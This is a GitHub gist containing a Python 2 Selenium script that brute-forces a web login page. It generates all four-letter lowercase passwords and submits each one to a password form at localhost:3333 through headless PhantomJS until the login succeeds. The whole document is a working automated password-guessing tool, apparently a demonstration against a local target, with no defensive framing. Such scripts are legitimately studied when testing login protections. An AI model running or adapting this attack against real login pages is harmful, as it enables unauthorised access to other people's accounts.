Skip to content

Instantly share code, notes, and snippets.

@rinchik
Last active May 12, 2018 13:32
Show Gist options
  • Save rinchik/0b67045f3c624bd3271778d2607bafea to your computer and use it in GitHub Desktop.
Save rinchik/0b67045f3c624bd3271778d2607bafea to your computer and use it in GitHub Desktop.
from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException
from datetime import datetime
class BruteForce:
URL = 'http://localhost:3333'
character_list = 'abcdefghijklmnopqrstuvwxyz'
passwords = []
driver = None
start_time = None
found_password = None
def __init__(self):
self.set_up()
self.generate_passwords()
self.brute_force()
self.clean_up()
def set_up(self):
print "Setting everything up..."
self.start_time = datetime.now()
self.driver = webdriver.PhantomJS()
print "Done."
def clean_up(self):
print "Found password:", self.found_password, "in", datetime.now() - self.start_time
self.driver.close()
def generate_passwords(self):
print "Generating passwords..."
for current in xrange(4):
self.passwords = [i for i in self.character_list]
for y in xrange(current):
self.passwords = [x+i for i in self.character_list for x in self.passwords]
print "Done."
def brute_force(self):
print "Starting brute force.."
self.driver.get(self.URL)
for password in self.passwords:
if len(password) > 3:
password_field = self.driver.find_element_by_css_selector('input[type=password]')
password_field.send_keys(password)
submit = self.driver.find_element_by_css_selector('input[type=submit]')
submit.click()
if not self.check_exists_by_css_selector('input[type=submit]'):
self.driver.save_screenshot('screen.png')
self.driver.get_screenshot_as_png()
self.found_password = password
break
print "Done."
def check_exists_by_css_selector(self, selector):
try:
self.driver.find_element_by_css_selector(selector)
except NoSuchElementException:
return False
return True
BruteForce()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment